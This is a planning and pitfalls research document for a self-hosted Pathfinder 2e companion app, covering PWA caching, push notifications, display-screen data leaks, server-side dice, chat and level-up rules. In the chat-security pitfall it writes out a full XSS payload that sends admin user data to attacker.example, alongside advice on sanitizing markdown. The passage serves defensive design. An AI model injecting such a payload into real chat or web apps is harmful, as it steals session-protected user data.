||||
Initiative Tracker upgrade
|
||||
└──depends-on──> Existing battle-session schema; pure UI + small server change
|
||||
|
||||
Dice roller
|
||||
├──requires──> Roll-log table (campaign + battle scoped)
|
||||
├──enables──> Chat with embedded rolls
|
||||
└──enables──> GM "request roll" feature (combines push + dice)
|
||||
|
||||
In-game Chat
|
||||
├──requires──> Message table (campaign + battle scoped)
|
||||
├──depends-on──> Existing JWT/role for whisper/visibility
|
||||
└──integrates-with──> Dice-roll-log (rolls render inline)
|
||||
|
||||
GM Live-Tools UI
|
||||
└──reuses──> All existing character WebSocket events (HP, conditions, items, money)
|
||||
└──just-needs──> GM-facing UI surface (no new server events)
|
||||
|
||||
Obsidian Vault
|
||||
├──requires──> Vault-endpoint protocol decision (HTTP-served-files vs Git-pull vs custom)
|
||||
├──requires──> Markdown renderer (react-markdown + remark-wiki-link)
|
||||
├──requires──> Image proxy for ![[image.png]]
|
||||
└──enables──> Vault-search (FlexSearch or Postgres FTS)
|
||||
|
||||
GM Push-Ping → Player feature
|
||||
├──requires──> Web Push (PWA prerequisite)
|
||||
├──requires──> In-game Chat (so the message has a destination)
|
||||
└──requires──> GM Live-Tools UI (the trigger surface)
|
||||
```
|
||||
|
||||
### Dependency Notes
|
||||
|
||||
- **Web Push depends on PWA Manifest + Service Worker.** Cannot ship Push before installable PWA exists.
|
||||
- **iOS Push requires installed-to-Home-Screen PWA** (Safari 16.4+). Test plan must include "is the PWA actually installed?" check.
|
||||
- **Level-Up auto-recompute depends on per-class progression tables.** These are not currently in the DB schema (the existing app reads class-features from Pathbuilder import only, no progression model). New table needed: class progression by level, per-class.
|
||||
- **Free Archetype is a per-character toggle**, not a global config. UI must show this toggle on character creation/edit.
|
||||
- **GM-Live-Tools requires no new server events** — everything reuses existing character/inventory/condition/money WebSocket events. Risk: existing events probably don't enforce "is the actor a GM in this campaign" — needs server-side authorization audit.
|
||||
- **Display-Mode auth needs a decision early.** Anonymous-token vs pseudo-user has long downstream effects on chat/roll attribution from the table screen.
|
||||
- **Vault endpoint protocol is unresolved.** PROJECT.md says "selbst-gehosteter Endpoint, Protokoll noch zu wählen" — research/spike needed before vault phase.
|
||||
|
||||
## MVP Definition
|
||||
|
||||
(For the new milestone — not the whole app)
|
||||
|
||||
### Launch With (milestone v1)
|
||||
|
||||
Minimum viable to ship the milestone:
|
||||
|
||||
- [ ] **Level-Up regelkonform** — all six choice points (boost / class feat / skill feat / general feat / skill increase / ancestry feat / class feature) with prerequisite validation, auto-recompute, undo-before-commit, Free Archetype variant. Spellcaster slot/cantrip progression included.
|
||||
- [ ] **PWA Manifest + Service Worker + Add-to-Home-Screen flow** — Android automatic, iOS guided
|
||||
- [ ] **Cache-first offline read** for character sheet, inventory, feats, actions, alchemy, vault notes (already-visited only)
|
||||
- [ ] **Web Push for GM→player ping** — VAPID keys, subscription persistence, GM-trigger UI
|
||||
- [ ] **Battle Display-Mode route** — read-only, large initiative tracker, token effects/conditions visible
|
||||
- [ ] **Token-effect data model + GM editor** — per-token list of named effects with optional duration
|
||||
- [ ] **Token add/remove WebSocket event** — convert existing query-invalidate
|
||||
- [ ] **Initiative Tracker upgrade** — sortable list, current-turn highlight, GM next-turn button
|
||||
- [ ] **In-app dice with PF2e notation + degree-of-success + roll log** per campaign and battle, broadcast via WebSocket
|
||||
- [ ] **In-game chat** per campaign and battle, with inline roll embeds
|
||||
- [ ] **GM Live-Tools UI** — set HP/conditions/items/money on player character via existing events; send-message-to-player UI
|
||||
- [ ] **Obsidian Vault read-only browser** — folder tree, file read, markdown + wikilinks + image embeds, full-text search, last-N offline-cached
|
||||
- [ ] **German translation cache extension** for new feat-prereq text and class-feature descriptions
|
||||
|
||||
### Add After Milestone (v1.x — defer if scope tight)
|
||||
|
||||
- [ ] **Animated push-ping arrival** with vibration + in-app initiative-card overlay
|
||||
- [ ] **Battle Display cinematic theme** — dim off-turn, large active-turn card
|
||||
- [ ] **GM "request roll" from player** — combined push + pre-populated dice button
|
||||
- [ ] **Roll-history export** to HTML/PDF
|
||||
- [ ] **Vault frontmatter NPC chips** — type-tagged notes auto-link in chat/battle
|
||||
- [ ] **Level-up history view** on character — what was chosen at each level
|
||||
|
||||
### Future Consideration (post-milestone)
|
||||
|
||||
- [ ] **Auto-condition application from spells/attacks** — heavy data-model cost, defer until Level-Up + Battle stabilize
|
||||
- [ ] **Vault offline FlexSearch index** — full vault offline-search; only matters if vault grows large
|
||||
- [ ] **Background-sync of stale character data** — limited iOS support; complex; nice-to-have
|
||||
- [ ] **Multi-language UI beyond German** — only relevant if new players join who don't read German
|
||||
|
||||
## Feature Prioritization Matrix
|
||||
|
||||
| Feature | User Value | Implementation Cost | Priority |
|
||||
|---------|------------|---------------------|----------|
|
||||
| Level-Up: 6 choice points + validation + auto-recompute | HIGH | HIGH | P1 |
|
||||
| Level-Up: Free Archetype variant | HIGH (group uses it) | MEDIUM | P1 |
|
||||
| Level-Up: Spellcaster progression | HIGH (group has casters) | HIGH | P1 |
|
||||
| PWA installable + offline character read | HIGH | MEDIUM | P1 |
|
||||
| Web Push GM→player | HIGH | HIGH | P1 |
|
||||
| Battle Display-Mode read-only route | HIGH | MEDIUM | P1 |
|
||||
| Initiative tracker upgrade | HIGH | LOW-MEDIUM | P1 |
|
||||
| Token effects/conditions | HIGH | MEDIUM | P1 |
|
||||
| Token add/remove WebSocket | MEDIUM | LOW | P1 |
|
||||
| Dice roller + roll log | HIGH | MEDIUM | P1 |
|
||||
| In-app chat | HIGH | LOW-MEDIUM | P1 |
|
||||
| GM Live-Tools (HP/conditions/items/money) | HIGH | LOW | P1 |
|
||||
| Obsidian read + wikilinks + images | HIGH | MEDIUM | P1 |
|
||||
| Vault search | MEDIUM-HIGH | MEDIUM | P1 |
|
||||
| Vault offline-cache (last-N) | MEDIUM | MEDIUM | P1 |
|
||||
| Battle cinematic theme | MEDIUM | LOW | P2 |
|
||||
| Animated push-ping with vibration | MEDIUM | MEDIUM | P2 |
|
||||
| GM "request roll" feature | MEDIUM-HIGH | MEDIUM | P2 |
|
||||
| Level-up history view | MEDIUM | LOW | P2 |
|
||||
| Vault frontmatter NPC chips | MEDIUM | HIGH | P3 |
|
||||
| Auto-condition from spells | MEDIUM | HIGH | P3 |
|
||||
| Vault offline FlexSearch full-index | LOW-MEDIUM | HIGH | P3 |
|
||||
|
||||
## PF2e-Specific Complexity Notes (Level-Up)
|
||||
|
||||
The Level-Up feature is structurally the most complex single piece in this milestone. Worth calling out:
|
||||
|
||||
1. **Six independent choice axes per level** (not all triggered every level): attribute boost, class feat, skill feat, general feat, skill increase, ancestry feat, class feature. Each has its own filter logic.
|
||||
2. **Prerequisites are a mini-DSL.** Examples:
|
||||
- `"Trained in Athletics"` → simple skill-rank check
|
||||
- `"Strength 14, trained in Intimidation"` → composite check
|
||||
- `"Power Attack, level 4"` → feat ownership + level
|
||||
- `"Cleric"` → class check
|
||||
- Roughly 200+ feats have non-trivial prereqs; treating each as a free-text string and asking the GM is the cheap way out — but kills the "regelkonform" promise.
|
||||
3. **Class progression tables vary widely.** Fighter has 5 weapon-specialization steps; Wizard has school-specific arcana progressions; Rogue has skill-increases at every level (not every other). No single shared table.
|
||||
4. **Boost rules have an "above 18" cap rule.** Each boost is +2, but if attribute is already 18+, only +1. This is one of the most frequently-misunderstood PF2e rules — must be implemented correctly.
|
||||
5. **Free Archetype variant** doubles the class-feat slots but restricts to archetype feats only AFTER dedication is taken. Once a dedication is chosen, the slot can take any feat from THAT archetype's list.
|
||||
6. **Skill-increase scaling caps.** Trained→Expert allowed at level 3+; Expert→Master at level 7+; Master→Legendary at level 15+. Pre-cap selections must be filtered out.
|
||||
7. **Multiple-class-feature characters.** A Champion at level 9 might have: Champion's Reaction, Deity's Domain Spell, Divine Ally, an Ancestry feat slot, a Class feat slot, plus a Free Archetype slot. UI needs to make this navigable, not overwhelming.
|
||||
|
||||
**Recommendation:** Phase Level-Up as its own implementation phase. Treat prerequisite-DSL as a sub-deliverable. Plan for an "escape hatch" where a non-evaluated prerequisite shows as a warning ("kann nicht automatisch geprüft werden") rather than a hard block, so unusual feats don't break the flow.
|
||||
|
||||
## Competitor Feature Analysis
|
||||
|
||||
| Feature | Pathbuilder 2e | Wanderer's Guide | Foundry VTT (PF2e) | Owlbear Rodeo | Our Approach |
|
||||
|---------|----------------|------------------|---------------------|---------------|--------------|
|
||||
| Level-Up | Full, mature, English-only | Full, web-based, English-only | Full via PF2e Leveler / PF2e Level-Up Wizard modules | N/A (no character system) | Full, German, integrated, with Free Archetype |
|
||||
| Dice roller | Basic | Basic | Excellent (PF2e-specific) | Built-in, simple | PF2e degree-of-success + roll log + chat embed |
|
||||
| Chat | None | None | Yes, with whisper/blind | Yes, simple | Yes, with roll embed + push-ping |
|
||||
| Battle map | None | None | Heavy, feature-rich (lighting, vision, fog) | Lightweight, fast, in-person-friendly | Lightweight + dedicated table-display mode |
|
||||
| Player display screen | N/A | N/A | Possible via second browser, not optimized | Cast feature (Chromecast/separate monitor) — fully read-only player view | Dedicated `/battle/:id/display` route, read-only, optimized for embedded table screen |
|
||||
| Push notifications | None | None | None (it's Electron, not PWA) | None | Web Push with VAPID, GM→player ping |
|
||||
| Offline | No (web app) | No (web app) | Local install, but no field offline | Browser-cached after load | Service Worker cache-first for read |
|
||||
| Obsidian integration | No | No | Possible via 3rd-party module | No | Native vault browser |
|
||||
| German UI | No | No | Partial via Babele + community pack | Partial | Full, including auto-translated PF2e text |
|
||||
| Hosting model | SaaS | SaaS | Self-hosted | SaaS (free + paid tiers) | Self-hosted (matches PROJECT.md) |
|
||||
| Mobile-first | Tablet-first | Desktop+tablet | Desktop, mobile painful | Mobile-acceptable | Yes (already shipped for character sheet) |
|
||||
| Cost | One-time app purchase | Free | One-time license fee | Free + paid tiers | Self-hosted, group only |
|
||||
|
||||
### Key Takeaways
|
||||
|
||||
- **No competitor combines all six target areas** of this milestone in one app. Pathbuilder excels at character (esp. level-up) but is character-only. Foundry has battle + chat + dice but desktop-heavy and module-fragmented. Owlbear has the cleanest player-display-screen story but no character system. Obsidian is its own thing entirely.
|
||||
- **The "all-in-one for our group, in German, on mobile-first PWA" niche is unoccupied.** This is the differentiator.
|
||||
- **PF2e Leveler and PF2e Level-Up Wizard (Foundry modules) prove that prerequisite-validating Level-Up is feasible** — they exist and are maintained. We can study their data models without using their code (license / system difference).
|
||||
- **Owlbear's "cast" feature is the closest to our table-display goal** — read-only, joins as fake-player, cannot see GM-only content. That's a solid mental model.
|
||||
|
||||
## Sources
|
||||
|
||||
- [Pathfinder 2e Leveling Up — Archives of Nethys](https://2e.aonprd.com/Rules.aspx?ID=2065)
|
||||
- [Pathfinder 2e Ability Boosts — Archives of Nethys](https://2e.aonprd.com/Rules.aspx?ID=75)
|
||||
- [Pathfinder 2e Skill Increases — Archives of Nethys](https://2e.aonprd.com/Rules.aspx?ID=2109)
|
||||
- [Pathfinder 2e Free Archetype — Archives of Nethys](https://2e.aonprd.com/Rules.aspx?ID=2751)
|
||||
- [Wanderer's Guide character builder](https://wanderersguide.app/)
|
||||
- [PF2e Leveler — Foundry VTT module](https://foundryvtt.com/packages/pf2e-leveler)
|
||||
- [PF2e Level-Up Wizard — Foundry VTT module](https://foundryvtt.com/packages/pf2e-level-up-wizard)
|
||||
- [Owlbear Rodeo Casting documentation](https://docs.owlbear.rodeo/docs/casting/)
|
||||
- [Foundry VTT Basic Dice](https://foundryvtt.com/article/dice/)
|
||||
- [Roll20 Dice Reference](https://help.roll20.net/hc/en-us/articles/360037773133-Dice-Reference)
|
||||
- [PWA Best Practices 2026 — Wirefuture](https://wirefuture.com/post/progressive-web-apps-pwa-best-practices-for-2026)
|
||||
- [PWA iOS Limitations and Safari Support 2026 — MagicBell](https://www.magicbell.com/blog/pwa-ios-limitations-safari-support-complete-guide)
|
||||
- [Apple reverses decision about blocking web apps in EU — TechCrunch](https://techcrunch.com/2024/03/01/apple-reverses-decision-about-blocking-web-apps-on-iphones-in-the-eu/)
|
||||
- [@portaljs/remark-wiki-link — npm](https://www.npmjs.com/package/@portaljs/remark-wiki-link)
|
||||
- [react-markdown documentation](https://remarkjs.github.io/react-markdown/)
|
||||
- [airjp73/dice-notation — GitHub](https://github.com/airjp73/dice-notation)
|
||||
- [Foundry VTT vs Roll20 vs Owlbear Rodeo 2026](https://gmcrafttavern.com/foundry-vs-roll20-owlbear-2026/)
|
||||
|
||||
---
|
||||
*Feature research for: Dimension47 next milestone (PWA + multi-screen battle + extended WebSockets + Obsidian read-only vault + full PF2e Level-Up)*
|
||||
*Researched: 2026-04-27*
|
||||
816
.planning/research/PITFALLS.md
Normal file
816
.planning/research/PITFALLS.md
Normal file
@@ -0,0 +1,816 @@
|
||||
# Pitfalls Research
|
||||
|
||||
**Domain:** Self-hosted PF2e TTRPG companion app — PWA + multi-screen battle + extended Socket.io + Obsidian read-only vault + full PF2e Level-Up
|
||||
**Researched:** 2026-04-27
|
||||
**Confidence:** HIGH for PWA/Push/Socket.io/Prisma areas (verified via official sources and 2026 docs); HIGH for PF2e rules (verified against Archives of Nethys); MEDIUM for Obsidian-specific markdown traps (community wisdom + forum threads)
|
||||
|
||||
This document is opinionated. Pitfalls are grouped by the six active phase buckets (Level-Up, PWA, Battle-Multi-Screen, Dice/Chat, GM-Live-Tools, Obsidian) plus cross-cutting categories (Prisma/Postgres, Socket.io, Mobile-at-the-Table). Each pitfall lists warning signs, prevention, and the phase that owns it.
|
||||
|
||||
---
|
||||
|
||||
## Critical Pitfalls
|
||||
|
||||
### Pitfall 1: Service Worker caches an authenticated API response and serves it to the wrong user after logout/re-login
|
||||
|
||||
**What goes wrong:**
|
||||
The service worker caches a `/api/characters/:id` response as part of an offline-read strategy. User A logs out, user B logs in on the same device (shared GM laptop, same browser profile). User B opens the cached character page and sees user A's character — or worse, user A's JWT-derived data — because the cache key is the URL, not the user identity.
|
||||
|
||||
**Why it happens:**
|
||||
Service worker fetch-handlers cache by request URL by default. They don't know about JWT context. The browser also keeps the service worker alive across login/logout because logout only clears storage, not caches.
|
||||
|
||||
**How to avoid:**
|
||||
- Cache only **non-sensitive static assets** (JS/CSS/icons/manifest) with a network-first or cache-first strategy
|
||||
- For authenticated API responses, use `IndexedDB` keyed by `userId` (not the SW Cache API), and clear it on logout
|
||||
- On logout: explicitly call `caches.delete()` for any user-scoped cache name AND `swReg.unregister()` is overkill but `messaging postMessage("LOGOUT")` to the SW lets it purge user data
|
||||
- Treat any URL containing `/api/characters/`, `/api/campaigns/`, `/api/battle/` as **never cache by URL alone** — always wrap in a user-scoped key
|
||||
|
||||
**Warning signs:**
|
||||
- A second logged-in user reports seeing data they shouldn't
|
||||
- DevTools → Application → Cache Storage shows entries with sensitive paths after logout
|
||||
- Multi-user shared device shows stale data
|
||||
|
||||
**Phase to address:** PWA (the offline-read story has to be designed user-scoped from day one)
|
||||
|
||||
---
|
||||
|
||||
### Pitfall 2: Service Worker + Socket.io mid-game force-update interrupts an active battle session
|
||||
|
||||
**What goes wrong:**
|
||||
A new SW version deploys mid-session. Default Workbox behavior (`skipWaiting()` + `clients.claim()`) reloads tabs, killing the open Socket.io connection on the GM laptop and the table display. Initiative state is in-memory on the client; reconnecting after a forced reload causes flicker, dropped events, or — worst case — the GM has to re-drag tokens because the WebSocket replay didn't catch the missed events.
|
||||
|
||||
**Why it happens:**
|
||||
Devs follow tutorials that recommend `skipWaiting()` for "instant updates" without considering that some apps (this one) absolutely cannot reload mid-task. Service workers in 2026 still have long default update cycles (24h check) but `skipWaiting()` short-circuits that to immediate.
|
||||
|
||||
**How to avoid:**
|
||||
- **NEVER call `skipWaiting()` automatically.** Wait for user action.
|
||||
- Show a non-blocking "Neue Version verfügbar — jetzt aktualisieren?" toast/banner. Only reload when the user clicks.
|
||||
- During an active battle session, **suppress the update prompt entirely** until the session is closed. Track active-battle state in a Zustand store; gate the toast on `!isInBattle`.
|
||||
- Use Workbox's `ServiceWorkerRegistration.waiting` + `controllerchange` event for the manual flow.
|
||||
- Tag SW versions with git SHA so you can correlate "stuck on old version" reports with deploy times.
|
||||
|
||||
**Warning signs:**
|
||||
- Players report "it reloaded in the middle of a fight"
|
||||
- Multiple SW versions reported in `chrome://serviceworker-internals` for active users
|
||||
- Token positions desync between GM laptop and table display after deploy
|
||||
|
||||
**Phase to address:** PWA (must be designed before the first SW ships — retrofitting "don't update during battle" is hard)
|
||||
|
||||
---
|
||||
|
||||
### Pitfall 3: iOS Safari PWA push notifications silently fail because the install path or manifest is wrong
|
||||
|
||||
**What goes wrong:**
|
||||
GM sends a "Würfelaufforderung" push to all players. Android players get it. iOS players get nothing. No error, no log entry, just silence. Investigation reveals one of: app wasn't installed via "Add to Home Screen", manifest didn't have `"display": "standalone"`, app was opened from Safari tab not home-screen icon, OR the user is in the EU where iOS PWAs behave differently (Apple has shipped EU-region restrictions).
|
||||
|
||||
**Why it happens:**
|
||||
iOS 16.4+ supports Web Push, but **only for PWAs installed to the home screen running in standalone mode**. Permission prompts must be triggered by direct user gesture. The manifest requirements are stricter than on Android. EU regulatory changes have caused iOS PWA push to be flaky depending on Safari version and region.
|
||||
|
||||
**How to avoid:**
|
||||
- Manifest must include: `"display": "standalone"`, `name`, `short_name`, `start_url`, full icon set including `192x192` and `512x512`, **maskable** icon variant for Android
|
||||
- Add an in-app "Install Guide" page targeted at iOS: detect `navigator.standalone === false && /iPhone|iPad/.test(navigator.userAgent)` and show explicit instructions ("Teilen-Button → Zum Home-Bildschirm")
|
||||
- Permission prompt: show only after user taps a deliberate "Benachrichtigungen aktivieren" button — never on first load
|
||||
- After permission grant, immediately do a self-test: send a test push from server and confirm receipt in client. If silent, surface a clear error.
|
||||
- Document the EU caveat in user-facing help: PWAs in EU may not get push depending on iOS version; recommend Android Chrome or non-EU iOS
|
||||
- HTTPS is mandatory — even self-hosted dev needs a valid cert (use mkcert or Let's Encrypt + reverse proxy)
|
||||
|
||||
**Warning signs:**
|
||||
- "I didn't get the ping" from one platform but not others
|
||||
- Permission shows "denied" or "default" forever after a failed first attempt
|
||||
- `pushManager.getSubscription()` returns null after permission grant
|
||||
|
||||
**Phase to address:** PWA
|
||||
|
||||
---
|
||||
|
||||
### Pitfall 4: VAPID key gets lost or rotated → all existing push subscriptions silently break
|
||||
|
||||
**What goes wrong:**
|
||||
Server is rebuilt, `.env` is regenerated, VAPID keys are different. All `PushSubscription` rows in the DB now point to the old public key. Push sends fail with 401/403, but the player-facing app shows the user as "subscribed". Users wonder why pings stopped working. There is no UI signal because subscriptions appear valid client-side.
|
||||
|
||||
**Why it happens:**
|
||||
VAPID keys are application-server-identity keys. `web-push` libraries don't refuse to send with mismatched keys until the push service rejects. Devs treat `.env` as ephemeral and lose the keypair.
|
||||
|
||||
**How to avoid:**
|
||||
- VAPID keys are **application secrets** — back them up like JWT_SECRET. Document explicitly in `.env.example` that these must be persistent across deploys.
|
||||
- Generate them once during initial setup, commit the **public** key to a build-time constant (or fetch from a stable endpoint), keep the private key server-side only
|
||||
- Implement automatic 410-Gone cleanup: on push send, if the push service returns 410, delete that `PushSubscription` row. Without this, expired subs accumulate and waste send budget.
|
||||
- Listen to the `pushsubscriptionchange` event in the service worker — when the browser rotates a subscription, re-register with the server
|
||||
- On startup, log VAPID public key fingerprint so you notice if it changes unexpectedly
|
||||
- **Never rotate VAPID keys without a migration plan** — rotation invalidates every existing subscription and there's no resubscribe-without-permission path
|
||||
|
||||
**Warning signs:**
|
||||
- "Push works but not for older users"
|
||||
- 401/403 spike in push send logs
|
||||
- `PushSubscription` row count growing forever (no cleanup)
|
||||
- Random subscription fails after browser updates
|
||||
|
||||
**Phase to address:** PWA / GM-Live-Tools
|
||||
|
||||
---
|
||||
|
||||
### Pitfall 5: Display-mode (table screen) leaks GM-only data because role-checks live in components, not in the data layer
|
||||
|
||||
**What goes wrong:**
|
||||
The display screen reuses the `BattleScreen` React component with a `displayMode` prop. The component conditionally hides GM controls. But the WebSocket payload still contains `npcStats.hidden = true`, `nextRoundEnemyAction = "uses healing potion at 30%"`, GM notes on tokens, hidden token positions (invisible enemies), or full HP values for monsters whose HP should appear as a vague bar. A curious player could open DevTools at the table, look at the WebSocket frames, and see everything.
|
||||
|
||||
**Why it happens:**
|
||||
"It's just a display screen, players can't interact" — but the display screen is on the same network, served by the same socket.io server, often connected with the GM's account or a shared anonymous account. The data filtering happens in render, not in the gateway emit.
|
||||
|
||||
**How to avoid:**
|
||||
- Treat the display screen as an **untrusted client** even though physically it's at the table
|
||||
- Server-side: emit two distinct event channels, `battle:gm:*` and `battle:display:*`, with the display channel containing only what's safe to show (token positions, public HP bars, initiative order, public conditions)
|
||||
- Authenticate the display screen with a **separate display-only token** issued by the GM (short-lived, scoped to one battle, can't access other endpoints)
|
||||
- Display-screen routes server-side must reject attempts to read GM-only fields even with a valid token
|
||||
- Add a "Display token" UI: GM clicks "Display starten" → server issues a one-shot token + URL with embedded token → display screen opens that URL → token expires when battle ends
|
||||
- Test: open the display URL in incognito, run `socket.on("*", console.log)`, verify no GM data appears in any frame
|
||||
|
||||
**Warning signs:**
|
||||
- Display screen URL works after copy-paste from another browser
|
||||
- WebSocket frames sent to display include fields the player UI also doesn't render
|
||||
- Display screen survives GM logout
|
||||
|
||||
**Phase to address:** Battle-Multi-Screen
|
||||
|
||||
---
|
||||
|
||||
### Pitfall 6: Client-side dice rolls are tampered/spoofed — players can claim any result
|
||||
|
||||
**What goes wrong:**
|
||||
Player rolls `1d20+7` for a critical save. Client computes the result, emits `dice:roll {result: 20, total: 27}` over WebSocket. Server broadcasts to chat. Either: (a) a player modifies the JS to always return 20, or (b) a player intercepts the WebSocket frame and edits the value. There's no way to detect cheating after the fact.
|
||||
|
||||
**Why it happens:**
|
||||
Convenience: it's easier to roll on the client and broadcast the result. PF2e crits (rolls of 20 OR results 10+ over DC) and persistent damage rolls feel "natural" to compute locally. Devs forget WebSocket payload is fully attacker-controlled.
|
||||
|
||||
**How to avoid:**
|
||||
- **All rolls happen server-side.** Client emits `dice:request {notation: "1d20+7", purpose: "save"}`. Server parses, rolls (using `crypto.randomInt`), persists to `RollLog`, broadcasts result.
|
||||
- Use a tested PF2e-aware notation parser. Required features:
|
||||
- Critical hits (PF2e: nat 20 OR meets-or-exceeds DC by 10 → crit; nat 1 OR misses by 10 → critical fail)
|
||||
- **Crit doubles dice, NOT modifiers** — `2d6+4` crits to `4d6+4`, not `4d6+8`. This is a frequent bug in generic parsers.
|
||||
- Persistent damage (`2d6 persistent fire` → recurring roll on each turn-end with DC 15 flat-check to remove)
|
||||
- Recharge dice for some abilities
|
||||
- `keep highest`, `keep lowest`, advantage/disadvantage (rare in PF2e but used by some feats)
|
||||
- Server stores roll seed + notation + result + roller + timestamp → fully auditable
|
||||
- Client-side has a **shadow roller** for instant feedback while waiting for server roll, but the server result is canonical and replaces the shadow on receipt
|
||||
|
||||
**Warning signs:**
|
||||
- Suspiciously high crit rate from one player
|
||||
- Roll log shows results that don't match notation
|
||||
- Players asking to "edit" their roll
|
||||
|
||||
**Phase to address:** Dice/Chat
|
||||
|
||||
---
|
||||
|
||||
### Pitfall 7: Markdown chat messages enable XSS via raw HTML or javascript: URLs
|
||||
|
||||
**What goes wrong:**
|
||||
Chat supports markdown for formatting (bold, italics, links to roll results). A malicious or compromised player sends `<img src=x onerror="fetch('/api/admin/users', {credentials:'include'}).then(r=>r.json()).then(d=>fetch('https://attacker.example/'+btoa(JSON.stringify(d))))">`. The GM (admin) renders the message and runs the script in their session, leaking user data. Or a `[click](javascript:...)` markdown link that fires on click.
|
||||
|
||||
**Why it happens:**
|
||||
Devs use `dangerouslySetInnerHTML` with marked/markdown-it because it's easy. Or they use `react-markdown` but enable `rehype-raw` without `rehype-sanitize` because they want HTML inside markdown. Or they don't filter the URL protocols on links.
|
||||
|
||||
**How to avoid:**
|
||||
- Use `react-markdown` **without** `rehype-raw` for chat. Markdown → React elements directly, no `dangerouslySetInnerHTML`, no raw HTML.
|
||||
- Restrict allowed elements: `allowedElements={['p','strong','em','code','pre','a','ul','ol','li','blockquote']}`. No `img`, no `iframe`, no `script`, no `style`.
|
||||
- `urlTransform` to enforce protocol whitelist: only allow `http:`, `https:`, and internal route paths. Block `javascript:`, `data:`, `vbscript:`.
|
||||
- Server-side: validate message length (max ~2000 chars), strip control characters, refuse messages with HTML tags before storage. Defense in depth.
|
||||
- For roll embeds in chat (the killer feature), use a custom React component slot, not raw HTML — `[[roll:abc123]]` token that the renderer expands into a `<RollResult>` component fetching from server state.
|
||||
|
||||
**Warning signs:**
|
||||
- Any use of `dangerouslySetInnerHTML` in chat code
|
||||
- `rehype-raw` in the markdown pipeline without `rehype-sanitize`
|
||||
- Allowing `img` or `a target="_blank"` without `rel="noopener noreferrer"`
|
||||
|
||||
**Phase to address:** Dice/Chat
|
||||
|
||||
---
|
||||
|
||||
### Pitfall 8: PF2e Level-Up — boost rules at-18 cap silently break ability scores
|
||||
|
||||
**What goes wrong:**
|
||||
Character has STR 18 at level 4. At level 5, four boosts must be allocated to four different attributes. UI lets player apply a boost to STR. Code adds +2 (because that's the standard boost) → STR 20. **Wrong.** Per the rules, a boost on a stat already 18 or higher adds only +1, not +2. The character's whole sheet is now overpowered. If the bug goes unnoticed for several levels, recomputing is expensive (every save/skill/AC was wrong from then on).
|
||||
|
||||
**Why it happens:**
|
||||
"Boost = +2" is the simple version. The +1 above 18 rule is easy to miss. Pathbuilder handles it, so devs comparing in-app to Pathbuilder don't notice for a while.
|
||||
|
||||
**How to avoid:**
|
||||
- Centralize the boost computation in a `applyAttributeBoost(currentValue): number` function. Single source of truth: `currentValue >= 18 ? +1 : +2`. Test it.
|
||||
- Validate boosts as a **set, not individually**. A "level 5 boost set" must apply to **four different** attributes. UI should grey out already-boosted attributes.
|
||||
- For each level-up, persist the **decision** (which 4 attributes) AND the **resulting value**, not just the value. Lets you replay/audit.
|
||||
- Edge cases to test:
|
||||
- All four boosts applied to attributes already at 18 → all +1
|
||||
- One boost applied twice in same set (forbidden — must be different attributes)
|
||||
- Free Archetype variant rule (no extra boosts, but interacts with feats)
|
||||
- Pathbuilder import of an already-leveled character: trust their values for prior levels, only validate from current level forward
|
||||
|
||||
**Warning signs:**
|
||||
- Character sheet shows attribute > 18 at level 5 without the +1 cap
|
||||
- Boost UI lets you click STR twice in same boost set
|
||||
- Differs from Pathbuilder result for the same character
|
||||
|
||||
**Phase to address:** Level-Up
|
||||
|
||||
---
|
||||
|
||||
### Pitfall 9: PF2e Level-Up — recompute side effects (HP cap, AC, saves) corrupt current state
|
||||
|
||||
**What goes wrong:**
|
||||
Character is at HP 12/40 (badly wounded). Player levels up: CON boost increases HP-Max from 40 → 50. App correctly updates `hp.max = 50` but also bumps `hp.current = 50` ("you healed!"). Or: app sets `hp.current = min(hp.current, hp.max)` → still 12, fine — but in the inverse case, a CON DECREASE due to retrain would silently drop current HP below 0.
|
||||
|
||||
Worse: proficiency increase from Trained → Expert at level 3 changes save bonuses. App recomputes the +N modifier but doesn't apply it to the in-flight `damageReceived` calculation if combat is active.
|
||||
|
||||
**Why it happens:**
|
||||
Level-up touches HP, AC, saves, perception, skills, attacks. Every one of those has a "current" value and a "max/computed" value. Devs change the formula without thinking through the cap/floor invariants.
|
||||
|
||||
**How to avoid:**
|
||||
- Level-up commits in a **Prisma transaction**. All recomputed fields written atomically.
|
||||
- HP rule: on HP-Max increase, current does NOT change (player gets new room to heal). On HP-Max decrease (rare, undo case), current is `min(current, newMax)`. Document this rule in code.
|
||||
- Level-up CANNOT happen during an active battle session — gate it. PF2e level-ups happen during downtime/rest, never mid-fight.
|
||||
- After commit, broadcast a **single** `character:level-up:complete` event with the full new sheet, not a sequence of small updates (avoids inconsistent intermediate states broadcast to other clients).
|
||||
- Test scenario: character at 0 HP with Dying 2 levels up (edge case for raise-dead-then-level mid-session) — must not silently kill the character or remove Dying.
|
||||
|
||||
**Warning signs:**
|
||||
- HP fully refilled after level-up (should keep the player's current value)
|
||||
- Save modifiers don't update after proficiency increase
|
||||
- Conditions disappear after level-up
|
||||
|
||||
**Phase to address:** Level-Up
|
||||
|
||||
---
|
||||
|
||||
### Pitfall 10: PF2e Level-Up — undo/retrain creates orphaned feat dependencies
|
||||
|
||||
**What goes wrong:**
|
||||
Player retrains a level-2 class feat (per the retraining rules). The retired feat was a prerequisite for a level-6 feat the player still has. The level-6 feat now violates its prereq but stays on the sheet. Or: archetype dedication retrained, but the player still has 2 archetype feats pointing to that archetype, in violation of the "must take 2 feats from archetype before another dedication" rule.
|
||||
|
||||
**Why it happens:**
|
||||
Feats are stored as a flat list. Prerequisites are checked at acquisition time, not as an invariant. Removing a feat doesn't trigger re-validation of dependent feats.
|
||||
|
||||
**How to avoid:**
|
||||
- Model feats with explicit `prerequisites: FeatId[]` graph
|
||||
- On any feat removal (retrain, undo level-up, archetype change), run a transitive-closure check: any remaining feat whose prereqs are now unmet must be flagged
|
||||
- Don't auto-remove dependent feats — surface a "Diese Talente verlieren ihre Voraussetzung" warning and force the player to choose: retrain those too, or block the retrain
|
||||
- Archetype invariants:
|
||||
- Cannot take a 2nd archetype dedication until 2 non-dedication feats from the 1st archetype are taken
|
||||
- With Free Archetype variant, dedication taken at level 1 may have no valid feat at level 2 (all archetype feats are usually level 4+) — surface this as a known gap, allow temporary placeholder
|
||||
- Must be prevented: dedication-spam (taking 4 dedications in a row, breaking RAW)
|
||||
- Persist level-up history as an append-only log so undo means "create an inverse entry", not destructive update
|
||||
|
||||
**Warning signs:**
|
||||
- Character has feats whose prereq feat is missing
|
||||
- Two archetype dedications without 2 feats from the first archetype between them
|
||||
- Undo of level-N corrupts data at level-(N+1)
|
||||
|
||||
**Phase to address:** Level-Up
|
||||
|
||||
